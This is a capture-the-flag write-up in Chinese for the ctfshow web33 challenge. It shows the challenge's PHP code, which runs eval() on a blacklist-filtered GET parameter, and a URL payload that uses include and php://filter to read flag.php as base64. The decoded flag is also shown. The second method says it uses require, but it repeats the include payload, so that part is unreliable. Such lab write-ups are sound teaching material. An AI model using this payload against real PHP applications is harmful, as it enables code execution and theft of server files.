ctfshow-web33
ctfshow靶场命令执行内容
题目描述:
原理:
同web29
审计
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
//过滤了flag system php cat sort shell . ' ` echo ; ( " 空格
eval($c);
}
}else{
highlight_file(__FILE__);
}
方法:
思路:
绕过 flag system php cat sort shell . ’ ` echo ; ( " 空格的过滤
1.同web32
既然过滤了括号,使用include(文件包含)
payload:
http://4cf99b8f-672f-4bd9-97eb-8b2d97c05afd.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
利用文件包含,将flag.php包含进来,这样执行变量c的时候,将执行带有包含文件的表达式,从而达到读取指定文件的目的。再使用过滤器,base64编码读取flag
filter:通过指定的通道来读取指定的文件
这里使用base64读取
不用base64读不到源文件
之后base64解码:
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:49:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{7ddd68fa-e1b2-40f2-aecf-c227755fe16c}";
2.同样使用文件包含,require
require 语句的使用方法与 include 语句类似,都是实现对外部文件的引用。在 PHP 文件执行之前,PHP解析器会用被引用文件的全部内容替换 require 语句,然后与 require 语句之外的其他语句组成新的 PHP 文件,最后再按新PHP 文件执行程序代码。
payload:
http://4cf99b8f-672f-4bd9-97eb-8b2d97c05afd.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
同上以base64读取文件
base64解码得到flag
Flag:
ctfshow{7ddd68fa-e1b2-40f2-aecf-c227755fe16c}